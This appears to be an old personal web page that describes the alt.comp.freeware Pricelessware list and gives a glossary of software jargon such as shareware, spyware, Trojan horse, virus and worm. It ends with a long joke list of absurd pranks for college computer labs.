The Pricelessware List is the compilation of the favorite Freeware programs of the readers of alt.comp.freeware . The brainchild of one of acf's regulars, Son of Spy , the list was intended to be a quick reference point for frequently requested Freeware programs. Initially dubbed "The Big List", it included programs old and new, well-known and obscure. The only requirement was that the program be the best Freeware program one could think of for each particular category.
The original Pricelessware List contained only the program names and download links. The individual pages including detailed program descriptions and Home Page links were developed by Genna Reeney.
The term "Pricelessware" was coined by another regular at the time of creation, Tiger® .
The Pricelessware List reflects the programs favored by members of alt.comp.freeware; it is not an exhaustive list of the best available Freeware. Most of the listings are well-known programs, but there are some hard-to-find goodies to be discovered. Although most categories will list only 1 or 2 selections, a few will list 3-4 programs.
Some of the detailed information for each program includes special notations. These indicate a specific issue with the program. It could be that the program is a LIGHT version, that the program requires registration before download or that the program suggested is the last Freeware version available.
The list is reviewed regularly for updated versions. New programs are sometimes added during the year. The list as a whole is reviewed once a year.
Finally, there are NO Adware/Spyware programs included in the Pricelessware List.
(http://home.att.net/~willowbrookemill/pricelesswarealphabetized.html).
Psychedelicware *1
A program (also called display hack) with the same approximate purpose as a kaleidoscope: to make pretty pictures. Famous display hacks include munching squares, smoking clover, the BSD Unix rain(6) program, worms(6) on miscellaneous Unixes, and the X kaleid(1) program. Display hacks can also be implemented by creating text files containing numerous escape sequences for interpretation by a video terminal; one notable example displayed, on any VT100, a Christmas tree with twinkling lights and a toy train circling its base. The hack value of a display hack is proportional to the esthetic value of the images times the cleverness of the algorithm divided by the size of the code.
Public Domain Software (PD)
When the author puts the work in the "public domain", he gives up all copyrights and releases his work to be used and spreaded without any limitations. Most archives contain also the source-code of the programs ("open source" software) as examples of how to program in a certain language or how to solve a certain programming problem.
This kind of software was very common in the early '90s in the Amiga scene.
Recipeware
The author wants to receive a recipe.
Revengeware
A shareware/nagware software that takes a revenge on the user if a stolen password is entered when trying to register the software. Examples of revengeware are Nero Burning that asks the user to click several times on a request box and GetRight that doesn't allow the user to register anymore.
Registerware *2
The cost is that you must provide personal information via registration. Some people falsify the information which is requested. However, since the author has asked the price, falsifying what they are asking for is not ethical.
Shareware *1
A kind of freeware (sense 1) for which the author requests some payment, usually in the accompanying documentation files or in an announcement made by the software itself. Such payment may or may not buy additional support or functionality.
Shelfware *1
Software purchased on a whim (by an individual user) or in accordance with policy (by a corporation or government agency), but not actually required for any particular use. Therefore, it often ends up on some shelf.
Shovelware *1
1. Extra software dumped onto a CD-ROM or tape to fill up the remaining space on the medium after the software distribution (as the "bonus tracks" on audio CDs) it's intended to carry, but not integrated with the distribution. 2. A slipshod compilation of software dumped onto a CD-ROM without much care for organization or even usability.
Software
Very generic term: any kind of data you can feed the computer with.
Spyware *2
Any software that installs components on your computer which allow companies and/or individuals to access your hard drive or spy on your surfing habits. The cost you pay is your privacy and/or security. You can learn more about adware at: http://www.spychecker.com/spyware.html. Often, after you remove the software, the files that do the spying remain on your hard drive. An excellent freeware utility for removing such garbage is AdAware.
Theftware (also called Scumware. It may be referred as "smart tags", "supernodes", "top text")
Technology which defaces and alters the content of websites as they appear on the user's browsers for financial gain. These procedures do not obtain webmasters' prior written consent, do not notify them of these actions, and do not share any of their revenue with them. In some cases they insert "Adult and or Gambling" links in "PG" site which the author would never permit. These actions compromises website's visitor relationship and their reputation.
Related pages: What is theftware?, ScurmWare.com, Thief-ware, the eZula Virus, TopText, Gator and others.
Treeware *1
Printouts, books, and other information media made from pulped dead trees.
Trialware
See the above definition of "Trial version".
Trojan Horse *1
Coined by MIT-hacker-turned-NSA-spook Dan Edwards. A malicious security-breaking program that is disguised as something benign, such as a directory lister, archiver, game, or (in one notorious 1990 case on the Mac) a program to find and destroy viruses!
Vaporware *1
Products announced far in advance of any release (which may or may not actually take place). See also brochureware.
Vegeware
A special kind of recipeware: the author wants to receive vegetarian recepes (example: the game "Swarm" for Amiga).
Virus (pluralized as virii or viruses) *1
[from the obvious analogy with biological viruses, via SF] A cracker program that searches out other programs and "infects" them by embedding a copy of itself in them, so that they become Trojan horses. When these programs are executed, the embedded virus is executed too, thus propagating the `infection'. This normally happens invisibly to the user. Unlike a worm, a virus cannot infect other computers without assistance. It is propagated by vectors such as humans trading programs with their friends ("sex"). The virus may do nothing but propagate itself and then allow the program to run normally. Usually, however, after propagating silently for a while, it starts doing things like writing cute messages on the terminal or playing strange tricks with the display (some viruses include nice display hacks). Many nasty viruses, written by particularly perversely minded crackers, do irreversible damage, like nuking all the user's files.
Wetware *1
[wetware, prob. from the novels of Rudy Rucker] 1. The human nervous system, as opposed to computer hardware or software. "Wetware has 7 plus or minus 2 temporary registers." 2. Human beings (programmers, operators, administrators) attached to a computer system, as opposed to the system's hardware or software.
Warez *1
Widely used in cracker subcultures to denote cracked version of commercial software, that is versions from which copy-protection has been stripped. Hackers recognize this term but don't use it themselves. Worm *1
[from "tapeworm" in John Brunner's novel "The Shockwave Rider", via XEROX PARC] A program that propagates itself over a network, reproducing itself as it goes. A virus that spreads itself over a network, or the Internet (especially e-mail virii).

How to confuse, worry, or scare people in the computer lab

• Log on, wait a sec, then get a frightened look on your face and scream "Oh my God! They've found me!" and bolt.
• Laugh uncontrollably for about 3 minutes & then suddenly stop and look suspiciously at everyone who looks at you.
• When your computer is turned off, complain to the monitor on duty that you can't get the damn thing to work. After he/she's turned it on, wait 5 minutes, turn it off again, & repeat the process for a good half hour.
• Type frantically, often stopping to look at the person next to you evilly.
• Before anyone else is in the lab, connect each computer to different screen than the one it's set up with.
• Write a program that plays the "Smurfs" theme song and play it at the highest volume possible over & over again.
• Work normally for a while. Suddenly look amazingly startled by something on the screen and crawl underneath the desk.
• Ask the person next to you if they know how to tap into top-secret Pentagon files.
• Use Interactive Send to make passes at people you don't know.
• Make a small ritual sacrifice to the computer before you turn it on.
• Bring a chainsaw, but don't use it. If anyone asks why you have it, say "Just in case..." mysteriously.
• Type on VAX for a while. Suddenly start cursing for 3 minutes at everything bad about your life. Then stop and continue typing.
• Enter the lab, undress, and start staring at other people as if they're crazy while typing.
• Light candles in a pentagram around your terminal before starting.
• Ask around for a spare disk. Offer $2. Keep asking until someone agrees. Then, pull a disk out of your fly and say, "Oops, I forgot."
• Every time you press Return and there is processing time required, pray "Ohpleaseohpleaseohpleaseohplease," and scream "YES!" when it finishes.
• "DISK FIGHT!!!"
• Start making out with the person at the terminal next to you (It helps if you know them, but this is also a great way to make new friends).
• Put a straw in your mouth and put your hands in your pockets. Type by hitting the keys with the straw.
• If you're sitting in a swivel chair, spin around singing "The Lion Sleeps Tonight" whenever there is processing time required.
• Draw a pictue of a woman (or man) on a piece of paper, tape it to your monitor. Try to seduce it. Act like it hates you and then complain loudly that women (men) are worthless.
• Try to stick a Nintendo cartridge into the 3 1/2 disc drive, when it doesn't work, get the supervisor.
• When you are on an IBM, and when you turn it on, ask loudly where the smiling Apple face is when you turn on one of those.
• Print out the complete works of Shakespeare, then when its all done (two days later) say that all you wanted was one line.
• Sit and stare at the screen, biting your nails noisely. After doing this for a while, spit them out at the feet of the person next to you.
• Stare at the screen, grind your teeth, stop, look at the person next to grinding. Repeat procedure, making sure you never provoke the person enough to let them blow up, as this releases tension, and it is far more effective to let them linger.
• If you have long hair, take a typing break, look for split ends, cut them and deposit them on your neighbor's keyboard as you leave.
• Put a large, gold-framed portrait of the British Royal Family on your desk and loudly proclaim that it inspires you.
• Come to the lab wearing several layers of socks. Remove shoes and place them of top of the monitor. Remove socks layer by layer and drape them around the monitor. Exclaim sudden haiku about the aesthetic beauty of cotton on plastic.
• Take the keyboard and sit under the computer. Type up your paper like this. Then go to the lab supervisor and complain about the bad working conditions.
• Laugh hysterically, shout "You will all perish in flames!!!" and continue working.
• Bring som dry ice & make it look like your computer is smoking.
• Assign a musical note to every key (ie. the Delete key is A Flat, the B key is F sharp, etc.). Whenever you hit a key, hum its note loudly. Write an entire pape this way.
• Attempt to eat your computer's mouse.
• Borrow someone else's keyboard by reaching over, saying "Excuse me, mind if I borrow this for a sec?", unplugging the keyboard & taking it.
• Bring in a bunch of magnets and have fun.
• When doing calculations, pull out an abacus and say that sometimes the old ways are best.
• Play Pong for hours on the most powerful computer in the lab.
• Make a loud noise of hitting the same key over and over again until you see that your neighbor is noticing (You can hit the space bar so your fill isn't affected). Then look at your neighbor's keyboard. Hit his/her delete key several times, erasing an entire word. While you do this, ask: "Does *your* delete key work?" Shake your head, and resume hitting the space bar on your keyboard. Keep doing this until you've deleted about a page of your neighbor's document. Then, suddenly exclaim: "Well, whaddya know? I've been hitting the space bar this whole time. No wonder it wasn't deleting! Ha!" Print out your document and leave.
• Remove your disk from the drive and hide it. Go to the lab monitor and complain that your computer ate your disk. (For special effects, put some Elmer's Glue on or around the disk drive. Claim that the computer is drooling.)
• Stare at the person's next to your's screen, look really puzzled, burst out laughing, and say "You did that?" loudly. Keep laughing, grab your stuff and leave, howling as you go.
• Point at the screen. Chant in a made up language while making elaborate hand gestures for a minute or two. Press return or the mouse, then leap back and yell "COVEEEEERRRRRR!" peek up from under the table, walk back to the computer and say. "Oh, good. It worked this time," and calmly start to type again.
• Keep looking at invisible bugs and trying to swat them.
• See who's online. Send a total stranger a talk request. Talk to them like you've known them all your lives. Hangup before they geta chance to figure out you're a total stranger.
• Bring an small tape player with a tape of really absurd sound effects. Pretend it's the computer and look really lost.
• Pull out a pencil. Start writing on the screen. Complain that the lead doesn't work.
• Come into the computer lab wearing several endangered species of flowers in your hair. Smile incessantly. Type a sentence, then laugh happily, exclaim "You're such a marvel!!", and kiss the screen. Repeat this after every sentence. As your ecstasy mounts, also hug the keyboard. Finally, hug your neighbor, then the computer assistant, and walk out.
• Run into the computer lab, shout "Armageddon is here!!!!!", then calmly sit down and begin to type.
• Quietly walk into the computer lab with a Black and Decker chainsaw, rev that baby up, and then walk up to the nearest person and say, "Give me that computer or you'll be feeding my pet crocodile for the next week".
• Two words: Tesla Coil. Note: Tesla Coil - an air-core transformer used to produce high voltages of high-frequency alternating currents.